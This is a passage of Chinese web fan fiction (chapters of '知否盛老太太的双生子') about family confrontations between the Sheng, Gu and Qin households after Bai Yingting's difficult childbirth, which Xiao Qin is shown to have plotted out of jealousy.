大厅内,顾偃开坐在椅子上等待,从外观上看不出他有任何的焦急,但实际上他心里焦急万分。 顾偃开知道盛瑾和慕卿云有多疼爱白滢婷,白滢婷难产的事情已经牵扯到她的命了,无论如何盛瑾和慕卿云都不会允许他轻拿轻放的,若是他真的这么做了,恐怕他和白滢婷离和离的日子不远了。 顾偃开觉得相较于盛瑾而言,慕卿云还好说话一点,所以他特意挑选了盛瑾不在丰国公府的时间上门,只要能让他见到白滢婷,他就有法子让白滢婷重新回到顾家,只要白滢婷愿意回顾家,那么以盛瑾和慕卿云对白滢婷的宠爱,最后只能妥协让白滢婷回到顾家,所以他此行最主要目的是见到白滢婷。 只是顾偃开不了解盛瑾和慕卿云,他们已经打算在白老爷到来之前,绝对不会再让顾家人见到白滢婷的,尤其是顾偃开本人。 慕卿云走进大厅,一进门就看见了顾偃开坐在椅子上,不知道正在思考着什么事情,但是她知道这件事情绝对于白滢婷有关。 顾偃开看到身体虚弱的慕卿云进入大厅,瞧着比白滢婷难产那日还要虚弱些,他还以为是白滢婷的事情导致的慕卿云疲惫虚弱,一时之间不知如何开口,毕竟白滢婷难产是因为与他争执时动的胎气,最后他只能起身,对着慕卿云拱了拱手行礼。 慕卿云面色不变,眼神中没有一丝波澜,道:“不必如此,我可当不起宁远侯府嫡长子的礼了,你有话就直说吧,免得浪费时间。” 顾偃开瞧着慕卿云连面子功夫都不愿意和他做了,便知道慕卿云和盛瑾对这件事情十分恼怒,等慕卿云坐下后,他也坐了下来,思考了一会儿,缓缓道:“嫂嫂说笑了,此番前来就是想要见见我的大娘子和两个孩子。” 顾偃开心里清楚,慕卿云是因为白滢婷的事情生气才叫他为宁远侯府嫡长子的,但他不能火上浇油叫慕卿云为盛国公夫人,那顾盛两家的关系就彻底完了。 慕卿云想着白滢婷还未想清楚是否要和离,还是不要让顾偃开太过难看,便直言道:“婷儿生孩子时伤了身子需要静养,顾家公子还是不要打扰她的好。” 顾偃开听见慕卿云将对他的称呼改为了顾家公子,便知道慕卿云不想和他撕破脸面,于是他装作听不懂慕卿云的话,道:“那嫂嫂,大娘子她何时带着孩子们回府,若是她们在盛府呆的太久了,恐有闲言碎语,再者家父家母不久就要回府了,到时候也想见见孙子们,嫂嫂还是让我见见大娘子吧,或是给我个时间上门接大娘子她们回府,有什么事情我们夫妇二人可以解释清楚。” 慕卿云听着顾偃开的话,脸上浮现出一抹冷笑,道:“闲言碎语,什么闲言碎语,我们盛家可不怕这个,还是说你们顾家怕嘛。” 慕卿云面色不改,语气平淡道:“我家婷儿想在府中住多久就住多久,我家官人在婷儿出嫁前就说过,即便是婷儿出嫁了,丰国公府也是她的家,她想什么时候回来就什么时候回来,说句不成体统的话,别说婷儿是在丰国公府待一段时间了,她就算是待一辈子,我和官人都不会有任何意见。” 慕卿云说到这里撇了眼顾偃开,语气中含着一丝嘲讽,道:“顾家公子,你扪心自问一下,你有把婷儿看成是自己的大娘子吗?此次前来接婷儿和孩子们回府,到底是出于你的内心期望,还是说碍于顾家颜面和顾侯夫妇呢?” 顾偃开脸色有些尴尬,硬着头皮道:“我当然是将婷儿当成我的大娘子对待的,此番前来接她回府也是我自己意愿的。” 慕卿云看也没看顾偃开,语气平淡,道:“顾家公子你这话能骗得过谁呢,你若真将婷儿当成自己大娘子一般对待就不会有这些事情发生了,也不会出现什么婷儿是害死秦大娘子元凶这样的话了。” 顾偃开闻言,刚想要向慕卿云解释,就被慕卿云制止了,她接着缓缓的叙述道:“我也不是想要追究秦大娘子的死因什么的,我只是想和你说说我家婷儿的事情,婷儿虽然不是什么高门显贵出身,但她也是我义父金尊玉贵养大的,我和官人捧在掌心宠着的,她长这么大都没受过这种委屈,我不知在你心里婷儿是个什么形象,但在我和官人眼中婷儿是个性子良善的姑娘,她对你那个嫡长子怎么样,我若说话恐有偏私,你自己心里也清楚,可是我和官人平日里送过去宁远侯府的东西中,但凡烨儿有什么,你那嫡长子也必会有一份,我自认为我和官人是将两个孩子看成一般对待的,怎么到你那就不一样了呢?” 慕卿云看着顾偃开被她说得脸上有些难看,语气平淡,道:“当然,五根手指有长短,你那嫡长子年幼丧母,你偏疼一些,我们也是能够理解的,但也不至于偏疼成这样吧,听说烨儿从出生到现在,你都没抱过他几回,这是否对烨儿有些过分了。” 顾偃开听着慕卿云的话,眼神中闪过一丝羞愧,道:“这件事情的确是我的错,我以后会多关心烨儿的,请嫂嫂让我见一见大娘子,我与她解释清楚后便没事了。” 慕卿云看着顾偃开的眼神没有丝毫变化,语气中透露出一丝嘲讽,道:“顾家公子还是先别想着和婷儿解释清楚后接她回顾府的事情吧,我怕婷儿回顾府后没几天又出事了,到时候我们恐怕见到的就是婷儿的尸体了。” 慕卿云瞧着顾偃开皱着眉头,欲言又止的样子,直接道:“顾家公子,我不相信婷儿难产是件意外的事情,提醒你一下,你最好好好查查你先头秦大娘子留下来的陪嫁下人,再来让顾侯夫妇来与我们谈。” 顾偃开见慕卿云想让他对秦大娘子的陪嫁下人动手,宛若触及他的逆鳞一般,开口道:“我不知道她都和你们说了什么,但那都是她胡思乱想的。” 慕卿云被顾偃开的话给气笑了,她眼神中闪过一丝愤怒,直言道:“顾家公子,是不是只要涉及到你前头的那位秦大娘子,那所有人说的话都是错的呢,你对前头那位秦大娘子可真是情深义重啊!既然你爱她爱到如此地步,那为什么不守着她不续弦呢?为什么要娶我家婷儿呢?” 慕卿云看着顾偃开,眼神中闪过一丝嘲讽,道:“我原先不提秦大娘子的事情是想给彼此留些颜面在,可现在看来顾家公子你是不需要这些的,那我就挑明了说,你是真以为我不知道你为什么想要见婷儿嘛,无非就是想拿捏着婷儿给你生了两个孩子,妄图以他们身上流着顾家的血、是顾家人为由要挟婷儿,让婷儿不能与你和离,我告诉你顾偃开,你要是想用这个办法来要挟婷儿,门都没有,我们盛家就是上官府、上朝堂告御状,都会将他们抢过来,你不要忘了他们两个身上不仅流着顾家的血,还流着白家的血,我相信义父不会介意两个孩子姓白的,大不了还有我和官人这舅舅舅母在,我们可一点都不介意他们姓盛。” 顾偃开被慕卿云的话给惊呆了,他一直以为慕卿云是个温婉贤淑之人,就算再生气,也不会说出这样不合礼仪的话,但是顾偃开忘了越是温婉贤淑之人发怒起来越是恐怖。 慕卿云看着顾偃开这样,语气中的怒火没有丝毫收敛,道:“你真以为我家婷儿是嫁不出去,非要嫁给你吗?我和官人在青州时便想着给婷儿找一门人口简单、婆婆妯娌和善的人家,谁曾想你们顾家会先一步找义父提亲,等我和官人知道时,你们早已定了亲,义父看中你们侯府大娘子的身份才同意你们顾家的亲事,可我和官人只在乎婷儿会不会在顾家受委屈,若是早知道秦大娘子的事情,就算你和婷儿定了亲,我和官人也不会让婷儿嫁给你。” 慕卿云说到这里时,脸色有些发白,用手扶着胸口,踹气道:“你拗不过自己的父母,又没本事瞒住秦大娘子,导致她郁郁而终,心中便对她充满了愧疚,可是你不敢怨恨父母家族,便将这股子怨气撒到了婷儿乃至她所生的孩子身上,你真是够可以的顾偃开,顾家公子,你不忘旧爱是好的,但是你也别作贱我家婷儿啊!” 顾偃开看着被他气得脸色惨白的慕卿云,突然不知道哪根筋搭错了联想到大秦氏,他宛若对大秦氏述说般,语气不自觉的弱了下来,道:“我能有什么办法,那是我的父亲母亲以及所有的族人亲人,我不能看着顾家被毁了,我也没办法啊!” 慕卿云看着顾偃开那神情也能猜出他通过她虚弱的身子想到大秦氏,不禁冷笑道:“你没办法,你没办法就来坑害婷儿,我们家给婷儿那么多嫁妆是为了什么,为的只不过是你们家能好好的待婷儿,结果到头来你这个给婷儿当官人的是顾家唯一一个欺负她的,我和官人千算万算没算到婷儿的夫婿会将她当成杀死爱妻的仇人,顾偃开,你既然当初选择拿着婷儿的嫁妆银子去填补朝廷亏空,就不应该这么对婷儿,我盛家白家不是贱到拿银子去换你顾偃开对婷儿的羞辱。” 慕卿云缓了口气,接着道:“顾偃开既然这门亲事一开始就是交易,那么你就要像顾侯夫妇一般讲诚信,婷儿不欠你什么,若是你无法做到,索性当初就不应该娶婷儿入门。” 顾偃开脸色无比难看,语气中压抑着一丝痛苦,道:“你们说得轻松,可是你们不是我,也不了解我的痛苦。” 慕卿云看着脸色无比难看的顾偃开,不想与他再说什么废话了,直言道:“顾偃开,你的痛苦我不想了解,不过,你若是还想要和我们盛家好好谈下去,就请你先查完秦大娘子的陪嫁下人后,再带着顾侯夫妇一同上门,管家,送顾家公子离开。” 丰国公府管家一听到慕卿云的话,脸上的表情没有丝毫变化,直接对顾偃开做出请人出门的姿态,道:“顾家公子,这边请。” 管家站在一边从头到尾都听见了慕卿云和顾偃开的对话,心里暗道:“我们家国公夫人身子本来就弱,要是被这位顾家公子气出个好歹来怎么办,顾家公子请你麻溜的滚吧。” 顾偃开见慕卿云这般样子,又看着身旁虽然没有什么表情,但整个姿态诠释着赶人意思的管家,便起身离开了丰国公府,可惜顾偃开今天有些不顺,一回到家就看见本来还有几天才回来的顾侯夫妇,他们一脸阴沉的看着顾偃开,尤其是顾侯爷那脸黑的都快要滴水了,他对着顾偃开道:“和我们去一趟书房。” 顾偃开闻言,便跟着顾侯夫妇一起去了书房,一到书房,顾侯爷就让他将丰国公府以及白滢婷难产的事情原原本本说出来,顾偃开不敢忤逆顾侯爷,只能老老实实的将慕卿云所说以及白滢婷难产那天的事情叙述了一遍。 顾侯夫人听完后都不需要顾侯爷说什么,直接对着自己的心腹,道:“你给我去找十几个小厮将秦大娘子留下来的陪嫁下人都抓起来,给我好好查查这群下人中到底是谁在煜儿耳边胡说八道的。” 顾偃开对大秦氏有滤镜,爱屋及乌的对大秦氏留下来的陪嫁下人也多有关照,但顾侯夫人可不会有什么滤镜,既然慕卿云开口了,那就证明了白滢婷难产的事情和这些人有关系,她可不会对大秦氏的人有什么好感。 顾偃开闻言,急忙阻止道:“母亲不可啊!秦大娘子留下来的人大部分都在煜哥儿身边伺候着,这番大肆抓人,只怕会吓到煜哥儿的。” 顾侯爷看着顾偃开给大秦氏的陪嫁下人求情,眼含失望,大声呵斥道:“你什么都不要说,你不要妄想以煜哥儿为借口保下这些人,这件事情我和你母亲会处理好的,你现在在盛国公夫妇心里已经没有什么可信之处了,要不然,盛国公夫人也不会让我和你母亲上门。” 顾偃开看着失望至极的顾侯爷以及隐隐有些愤怒的顾侯夫人,他知道这次无法保住大秦氏的下人了,便低着头看地面,不说话。 另一边的盛瑾知道顾偃开来过丰国公府后,脸黑的不能再黑了,而白滢婷对于顾偃开的到来好像毫无感觉似的,没过几天,顾侯夫妇就将白滢婷难产的来龙去脉查清了。 宁远侯府书房内,顾侯夫人气不打一处来,道:“瞧瞧,你瞧瞧,这就是你心头肉秦大娘子,她的好妹妹办的事情啊!她这是想弄死白大娘子,嫁给你这个前姐夫当填房,我告诉你,只要我还活着,就不可能让秦家姑娘再嫁进顾府。” 要说顾家谁最不喜欢大秦氏,那莫过于顾侯夫人了,就算没有白滢婷,她也不可能让顾偃开再娶一个秦氏女子了。 顾偃开正处于一片震惊中,但还是下意识的维护小秦氏,道:“母亲,你别胡说,她还是个未婚姑娘,以后还要嫁人呢。” 第 22 章 《知否盛老太太的双生子》全本免费阅读 清晨,丰国公府大厅内一片寂静,顾侯夫妇与盛瑾、慕卿云一时之间相顾无言,过了好一会儿,盛瑾才淡淡的开口道:“今日请顾侯夫妇上门,是为了婷儿的事情,不知顾侯夫妇打算如何给我们一个交代呢?” 顾侯爷脸上浮现出些许愧疚,语气中带着一丝歉意,道:“这件事情都是我们顾家、我那混账儿子的错,这才让媳妇遭此冤枉罪,盛国公要打要罚都是应该的。” 盛瑾对于顾侯爷的话没有丝毫反应,语气淡然的嘲讽道:“我可不敢对宁远侯府嫡长子打罚。” 慕卿云看到顾侯爷的脸色变得有些尴尬,随即拉了拉盛瑾的衣袖,示意盛瑾适可而止,毕竟白滢婷还是要在顾府生活的,如今给顾侯夫妇难看,难保他们不会私底下磋磨白滢婷。 盛瑾当即领会了慕卿云的意思,可他心里还是有些火气的,但他最终选择了顺从慕卿云的想法,什么也没有说了。 慕卿云见盛瑾没有再开口,随即看向顾侯爷,脸上带着淡淡的微笑,语气中透露出一丝虚弱,道:“顾侯爷,我家官人没有什么恶意,你也知道婷儿是我们宠着长得的,如今她遭此冤枉罪,我们心里都不好受。” 顾侯爷听到慕卿云这么说,原本有些难看的脸色瞬间变好了许多,道:“盛国公夫人说的是,我也是有女儿的人,自是理解盛国公的心情。” 慕卿云听着顾侯爷这么说,看向顾侯夫人的眼神中带着一丝感激,恭维道:“婷儿以前常常说顾侯爷和顾侯夫人待她极好,尤其是顾侯夫人,她待婷儿宛如亲生女儿一般,我们心里自是感激着你们的。” 顾侯夫人听到慕卿云这么说他们,急忙道:“我们哪有国公夫人说得这么好啊!倒是婷儿,她可是我们顾家的好媳妇,孝顺公婆,善待妯娌,管家理事都是极好的,我们顾家上下就没有说她不好的,这次的事情是我们顾家对不住婷儿。” 慕卿云看着顾侯夫人的眼中流露出一丝伤感,道:“若是婷儿听到顾侯夫人这么夸赞她,她定会开心的,可惜啊!婷儿难产伤了身子,现下不能出来见顾侯夫人,我那个刚出生的小外甥身子骨有些弱,也不能抱出来让顾侯夫人和顾侯爷见见了。” 顾侯夫人听到慕卿云提起她那刚出生的孙子,脸上浮现出些许担忧,道:“盛国公夫人,我那小孙儿身子怎么样呢?”她身旁的顾侯爷也默默的等待慕卿云的回答,毕竟顾偃开作为嫡长子膝下如今只有三个嫡子,长子体弱多病,若是嫡幼子也体弱多病,那顾偃开就只有一个嫡次子身体健康了。 慕卿云看着顾侯夫人如此关心孩子,脸上浮现出些许庆幸,道:“郎中说多亏官人带他去的及时,要不然这孩子的命是保不住了,不过,到底是八个月早产的孩子,身子骨有些弱,但若是细细养着,等他长大了,还是可以和常人无异的。” 顾侯夫人听到慕卿云这么说,心里松了口气,不过她对那位秦家姑娘多了些许的埋怨,毕竟若不是这位秦家姑娘无端生事,她这个小孙儿何至于早产,她和顾侯爷又何至于低三下四的来丰国公府道歉。 顾侯夫人心里不禁暗暗想道:“不亏是前头那位秦大娘子的妹妹,心思真是一样的歹毒,平日里瞧着是个乖巧懂事,现下看来全是装的,这秦家姑娘就没有一个好的。” 顾侯爷听着慕卿云的话,眼神中闪过一丝庆幸,语气中带着一丝感激,道:“真是多亏了盛国公了。” 盛瑾此时心情也平稳下来,脸上的表情没有丝毫变化,语气淡淡道:“顾侯爷不用如此客气,那是我外甥和妹妹,怎么样我都是会护着她们的。” 慕卿云接着盛瑾的话,道:“官人说的是,我们和婷儿是一家人,帮着婷儿是应该的,再说了,我们也知道这件事情和顾侯夫妇,乃至顾家没有任何关系,但我们实在是担心婷儿啊!” 慕卿云脸上浮现出担忧的表情,道:“我们对于顾家人是放心的,但妹夫对秦家人的态度,让我们不敢将婷儿再交给他,我想着要不婷儿和孩子就在府中待着,我和官人这个做舅舅舅母的一定好好待他们,读书习字这些官人自是能教导的,当然,孩子还是顾家的,顾侯爷、顾侯夫人、妹夫若是想见孩子随时都能来府中,我们必定不会不让孩子见你们的。” 顾侯夫妇听完慕卿云的话,被惊得不知如何开口了,过了好一会儿,他们才反应过来,顾侯夫人率先开口道:“这哪行啊!我们这些祖父祖母父亲都还在呢,哪能劳烦盛国公和盛国公夫人养外甥们呢,再者,哪有媳妇和孙儿养在娘家的道理啊!这要是被人知道了,还以为婷儿和我儿和离了呢。”她知道若是真让慕卿云说的事情发生了,那他们宁远侯府的人在汴州城就真别想抬头做人了。 顾侯爷相对顾侯夫人而言,还是比较冷静的,等顾侯夫人说完后,他才开口道:“盛国公夫人此话是何意呢?难不成我们两家还真要因为秦家而让我儿与婷儿和离不成。” 无论是顾侯爷还是顾侯夫人都不会允许这样的事情发生的,毕竟顾偃开若是再续弦可找不到像白滢婷这样嫁妆丰厚、又有盛国公夫妇撑腰的继室,而且白滢婷这些年是怎么对待顾廷煜和顾家人的,顾侯夫妇是看在眼里的,若是顾偃开再续弦,他们可不敢保证新妇会和白滢婷一样待人处事,再者,白滢婷难产这件事情满汴州城的人家如今都知道了,虽然这些个人家不知道白滢婷难产的内幕,但是盛国公在白滢婷生产完当天就将人带走了,到现在白滢婷都还在丰国公府待着呢,要说白滢婷难产的事情没有猫腻,汴州城这些人精没一个会相信的,现在他们正打算看宁远侯府和丰国公府的热闹呢。 慕卿云看着顾侯夫人这般神情,又听着顾侯爷的话,安抚道:“顾侯爷,顾侯夫人,我们家也不是不通情理的,这件事情与你们顾家无关,婷儿又给妹夫生了两个哥儿,我们为着两个哥儿也不会这么做的,但这件事情若是没有处理好,我们实在是不放心将妹妹再交给妹夫,因此我和官人日思夜想才想到这个方法,现下与你们商讨一下,当然我们也知道这个方法可能会对顾家的名声造成伤害,可是一想到妹妹在宁远侯府,我们便会担心不已。” 慕卿云脸上浮现出后怕的神情,道:“不怕顾侯夫人和顾侯爷笑话,我到现在还心有余悸呢,上次是官人去的及时,如若不然我看到的就是婷儿的尸首了,到时候我怕是恨不得随婷儿去了。” 顾侯爷和顾侯夫人听到慕卿云这么说,在看看她脸上的表情,自觉慕卿云说的是事实,其实不仅是慕卿云害怕白滢婷出事,他们也怕白滢婷出事啊!毕竟白滢婷若是出事,那很有可能伴随着慕卿云也出事,到时候他们宁远侯府和丰国公府关系怕是不死不休了,再者,若是白滢婷出事的内幕爆出去,虽说与他们顾家没有多大关系,可人是因为顾偃开才出的事情,他们顾家的名声也是会受损的。 顾侯爷想到这里,眼神中闪过一丝坚定,语气中透露出一丝果决,道:“盛国公,盛国公夫人,这件事情需要我们顾家怎么办,你们尽管说吧,我尽力而为。” 慕卿云看到顾侯爷坚定的神情,也没有在拐弯抹角什么,直言道:“我和官人也没有什么太大的要求,我们希望煜儿那边妹夫或是顾侯爷出面解释清楚,没道理让我妹妹平白无故背上害死秦大娘子的名声,而煜儿院里的人,我们也希望顾侯爷能筛选一下,别这次处理好了,下次又来个人在煜儿耳边搬弄我妹妹的是非,至于秦家人那边,我们也不是无理取闹之人,你们顾家和秦家是通家之好,又有煜儿在,自然不能说断就断,可是我们对那位秦家姑娘属实是膈应,她一日不嫁人,我们对婷儿在顾家的安全就一日不放心啊!” 顾侯爷听完慕卿云的话,沉思了好一会儿拿不定主意,毕竟前面这些对于顾侯爷而言都好办,只是最后一个让秦家姑娘嫁人,他们顾家也插手不了秦家姑娘嫁人的事情。 顾侯爷这边还在沉思,顾侯夫人却没什么顾虑,她此时与慕卿云的想法达成了一致,心里巴不得秦家姑娘赶紧出嫁,别在祸害他们顾家了。 顾侯夫人这般想着,扯了扯顾侯爷的衣袖,顾侯爷看向顾侯夫人,当即明白她的意思,随即道:“盛国公夫人所言极是,这些事情我们顾家会办好的,只是我们想知道婷儿什么时候能回顾府呢?” 慕卿云听到顾侯爷的保证后,脸上浮现出淡淡的微笑,道:“我们打算让婷儿多住些时日,最多一两个月就送她回宁远侯府,顾侯爷放心,这件事情解决后,我们两家还是像原来一般相处,不过,我想等婷儿回府时,让她再多带些女使小厮过去,不知顾侯爷可否允许呢?” 慕卿云和盛瑾通过白滢婷难产这件事情,发现当初给白滢婷带去的陪嫁下人还是少了些,想让白滢婷再带些人去顾府,他们要确保白滢婷在顾家有人手心腹可用。 顾侯爷和顾侯夫人心里都松了口气,随即顾侯爷面带得体的微笑,语气不带一丝犹豫,道:“盛国公夫人,这当然没有问题。”毕竟只要白滢婷不与顾偃开和离,一切事情都好说。 顾侯夫人显然也是这么想的,她笑着道:“多带点人手是应该的,之前我带着婷儿管家,现下也该让婷儿自己来打理了,毕竟这顾府以后还是要交由婷儿打理的。”言外之意就是白滢婷拥有顾府的管家之权,她会在顾家给白滢婷当靠山的。 顾侯爷自知这件事情还是因为自家管家不严引起的,看着盛瑾和慕卿云没有任何变化的脸色,咬咬牙道:“盛国公,盛国公夫人,你们放心,婷儿为我们顾家做出的贡献,我心里清楚,以后侯府分家,除去宁远侯府的祖产和功勋田,以及给姑娘们准备的一份嫁妆外,我会让嫡长子顾偃开占五成,两个嫡子各占两成,庶子们平分一成,等到了顾偃开那里,我会让他提前写好分家文书,嫡子平分,若是有庶子,那庶子们平分一成。” 顾侯爷知道自己这把岁数不知道还能活多少年,顾家众多亲家中盛家是最好的,盛瑾年纪轻轻就是成为了世袭国公,又是从三品官员,背后还有皇帝的重视,前途不可限量,而且他的家产已经不能用丰厚来形容了,再加上慕卿云的嫁妆,丰国公府可以说离富可敌国不远了,一个有能力有钱的亲家对于顾家来说也是一个助力,至少顾偃开一脉中白滢婷的子嗣未来是不用发愁了,若是盛家和顾家的关系能更好些,难保不能惠及到顾家其他子嗣,毕竟煊哥儿就是一个好的例子。 顾侯夫人不仅对顾侯爷的决定没有任何反对的意思,还有些高兴庶子们就平分一成,毕竟顾家两成家产也足够她两个小儿子富足的过完一辈子了,再加上她了解自己的大儿子顾偃开,他一定会照顾好两个弟弟的,而且她的陪嫁到时候可以多分点给两个小儿子。 盛瑾和慕卿云虽然不在意顾家的家产,但到底还是知道顾侯爷这是向他们展示他的诚意,毕竟没有哪个人家会平白无故告诉别人分家事宜。 盛瑾粉饰太平,语气柔和,道:“顾侯爷不必如此,婷儿是顾家的大娘子,无论如何,还是会孝顺你们的。”接着慕卿云也与顾侯夫妇聊起来了,没过一会儿,屋里的气氛变得和睦无比,等他们再和盛瑾、慕卿云闲聊几句后,便急忙赶回宁远侯府处理事情了。 顾侯夫妇一回宁远侯府就让下人们将之前审问的秦大娘子陪嫁下人绑了放在一处别院中,顾侯夫人去将这些个下人的卖身契整理出来,她打算过几天就上东 第 23 章 《知否盛老太太的双生子》全本免费阅读 东昌伯爵府内,秦伯爷夫妇一直等到临近夜晚,才等到小秦氏归来,小秦氏一进房间就看到脸色难看的秦伯爷夫妇,她一脸惊讶道:“哥哥嫂嫂,你们怎么在我房间里呢?” 秦伯爷听到小秦氏的话,想着今天早上顾侯夫人说的事情,心里的怒火再也压不住了,他脸上带着愤怒的表情,用手指着小秦氏,道:“为什么在你房间里,我们是特意在此等你这个混账东西,你现下还一脸无辜的样子,你做的那些个事情我们都知道了,你怎么敢将主意打到白大娘子身上啊!你是想害死我们全家嘛,我们平日里是缺你吃了还是短你穿了,你要这么找事情啊!你当那白大娘子是个毫无还手之力的商贾之女嘛,人家是盛国公夫妇捧在掌心的妹妹,又是顾侯夫妇看重的媳妇,你怎么敢动她啊!你是存心让顾盛两家的怒火冲着我们秦家来嘛。” 秦伯夫人也对小秦氏此番行事颇有怨言,阴阳怪气道:“若不是顾侯夫人找上门来,我和你哥哥还不知道妹妹有这般本事,要不是人家盛国公夫妇宽宏大量,恐怕现在汴州城就应该看我们东昌伯爵府的热闹了。” 小秦氏听完秦伯爷夫妇的话,她很快就反应过来白滢婷的事情已经被他们知道了,怪不得她一进院子就发现院中的丫鬟不见了,她看着眼前怒火中烧的秦伯爷和阴阳怪气的秦伯夫人,脸上的表情从无辜变成了嘲讽,语气中也带着一丝淡淡的嘲讽,道:“大哥哥,大嫂嫂,我这不都是按照你们说的做的嘛,怎么你们现在倒是怪起我来了呢。” 秦伯爷听着小秦氏的话,顿感莫名其妙,语气中带着一丝疑惑道:“你莫不是疯了,在这里胡言乱语什么,我和你嫂嫂什么时候叫你去害白大娘子了呢。” 小秦氏嘴角微微弯起,语气中夹杂着一丝讽刺,道:“大哥哥你忘了嘛,当初姐姐刚去世时,你和大嫂嫂不是劝我说,嫁给姐夫也是一门极好的亲事嘛,即能省下嫁妆,门第又般配,再则顾廷煜的身子弱,能不能够长大都另说,就算他能长大,以他那宛如姐姐般柔弱的身子骨恐怕子嗣艰难,我若是嫁过去了,爵位八成就是我孩子的了,大哥哥你现下倒是全忘光了啊!” 秦伯爷被小秦氏说的脸色难看,身子有些抖动,用手指着小秦氏道:“你,你,你这个不知廉耻的,这都是什么时候的事情了啊!你居然还拿出来说,我们只不过嘴上说说罢了。” 秦伯夫人赶忙上前,拍了拍秦侯爷的胸膛,安抚道:“官人莫气,莫气啊!为了这种事情伤了自己的身子不值当啊!” 秦伯夫人安抚完秦伯爷,便将目光放在小秦氏身上,语气中带着一丝斥呵,道:“妹妹,你这说的什么话啊!我们当初这么打算是为了谁啊!还不是为了你好嘛,东昌伯爵府自从父亲母亲去世后是个什么光景,别人不知道,你还不知道嘛。” 小秦氏脸上浮现出一抹冷笑,道:“说来说去,不就是银钱的事情嘛,你们当初想让我嫁给姐夫,不就是为了省笔嫁妆嘛,姐姐败坏了秦家姑娘的名声,若要高嫁必是要出一笔厚厚的嫁妆,若是低嫁,便觉得辱没了伯爵府的名声,你们是既要名声又要银钱,才会时常感叹若是白滢婷没有嫁给姐夫该有多好,如今我倒是随了你们的意了,你们反倒是不乐意了。” 秦伯爷夫妇听着小秦氏的这番理论,被气不打一处来,但又不能和小秦氏动手,只能拂袖离去后,命人将她关在院子里。 小秦氏的贴身丫鬟对着她,道:“姑娘这又是何苦呢,如今是伯爷夫妇当家,你的姻缘捏在他们手中,何苦得罪他们呢。” 小秦氏脸上浮现出一抹苦笑,道:“他们今日这般对我,不过是因为我差点让秦家面对顾盛两家的怒火,又自觉要赔给丰国公府一大笔银钱作为补偿,而感到不甘心与气愤,为此来找我出气罢了。” 小秦氏眼中闪过一丝狠辣,道:“没想到白滢婷命真大啊!居然能撑到盛国公带着郎中来,一个低贱的盐商之女居然成了侯府大娘子,真是可笑啊!可偏偏人家还有疼她入骨的盛国公夫妇撑腰,在宁远侯府过的是有滋有味啊!” 小秦氏说到这里,眼中闪过一丝讽刺,道:“瞧瞧人家那义兄嫂嫂,再瞧瞧我这一对兄嫂,这嫡亲的还没人家那没有血缘关系的来得靠谱些,这真是可笑至极啊!” 小秦氏的贴身丫鬟瞧着她这样,眼中闪过一丝心疼,抓着小秦氏的手,道:“姑娘,莫要伤心了,嫁出去后,就好了。” 小秦氏听到这话,眼眶有些微红,道:“嫁出去就好了,哈哈,真是个笑话,你没看到我的那对兄嫂居然想将我嫁给一个五十岁的皇室宗亲当填房,要不是今日顾侯夫人上门,恐怕他们要不了多久就去找那位宗亲议亲了。” 小秦氏的贴身丫鬟瞪大双眼,语气中充满了不可置信,道:“姑娘,不可能吧,这怎么可能呢,你可是伯爷的嫡亲妹妹啊!他断断不会这么对你的。” 小秦氏听着贴身丫鬟的话,便回忆起那日她听到秦伯爷夫妇对话的场景,她亲耳听到自己的嫂嫂对着她嫡亲哥哥说道:“妹妹生的这般好,若是低嫁了怪可惜的,唉,要是顾偃开没有续弦,妹妹也不至于耽搁到现在,不过,我前不久倒是听到有位皇室宗亲要续弦,就是岁数有些大。” 秦伯爷看着秦伯夫人的目光没有任何变化,过了好一会儿,他才缓缓开口道:“这位皇室宗亲的岁数有多大呢?” 秦伯夫人见秦伯爷这么问,便知道他对这门亲事没有多大反对,她带着一丝劝说的语气,道:“这位皇室宗亲如今五十岁了,这岁数虽说是有些大了,可年纪大的男人他也疼人啊!再者,这位皇室宗亲有些家底在,他放出话来愿意出一笔不菲的聘礼续弦,而且他的几个儿子有些能力,我相信以妹妹的美貌和手段,笼络这位皇室宗亲没有什么问题的,到时候也能帮衬着些我们东昌伯爵府,毕竟宁远侯府那边,顾偃开已经续弦了,顾廷煜又体弱多病,白大娘子又生下个身子健康的嫡子,我们和顾家的关系不比以前了。” 秦伯爷听着秦伯夫人的话,沉默了一会儿,道:“妹妹如今也不小了,你这几个月再找找吧,若还是找不到好人家,那就定这位皇室宗亲吧。” 秦伯夫人当然明白秦伯爷的潜在意思,她脸上浮现出一抹笑意,道:“官人放心吧,我会好好找的,若还是找不到其他人家,那妹妹和这位皇室宗亲就是难得的姻缘啊!” 小秦氏听完秦伯爷夫妇的话,心里一阵发凉,她不是听不懂他们的言外之意,她没想到自己的嫡亲哥哥居然动了心。 小秦氏接下来的几天里满脑子都是这件事情,看到秦伯爷夫妇对她的洋装关心的样子,她的心里只觉得秦伯爷夫妇的行为令人恶心,为了暂时不见到秦伯爷夫妇,她借口上宁远侯府看顾廷煜,秦伯爷夫妇没有拒绝,秦伯夫人还特意给她准备了马车送她出门。 小秦氏对于秦伯夫人的这一行为只觉得讽刺,但也没有说什么,等她来到宁远侯府见到挺着大肚子一脸笑意招待自己的白滢婷,她莫名的觉得白滢婷的笑容分外刺眼。 起初小秦氏并不想动白滢婷,可她看着白滢婷的笑容,心里疯狂的想道:“凭什么她白家那样下贱的门户能嫁入顾府,凭什么她白滢婷能嫁给顾偃开这样年轻力壮的男人,而我只能嫁给五十岁的老头,凭什么她白滢婷能在顾家过的这么舒心,而我却在东昌伯爵府自己家过的如此烦心。” 等到小秦氏见到顾廷煜时,她看着顾廷煜和白滢婷之间相处的十分融洽,心里对白滢婷的嫉妒到达了顶峰,她自己也在不知不觉中将目光移向了白滢婷的肚子,心里不由自主的冒出一个想法道:“妇人生产时无疑是在鬼门关走一遭,谁知道她白滢婷能不能平安生下孩子呢。” 小秦氏带着这个念头,心不在焉的应付起了顾廷煜和白滢婷,直到她回到东昌伯爵府后几天里,这个念头都没有消散,她看着那日说要给她找夫婿的秦伯夫人动都没动,又想起前些天在宁远侯府见到白滢婷和顾廷煜的场景,一个疯狂的想法在她脑海中浮现了。 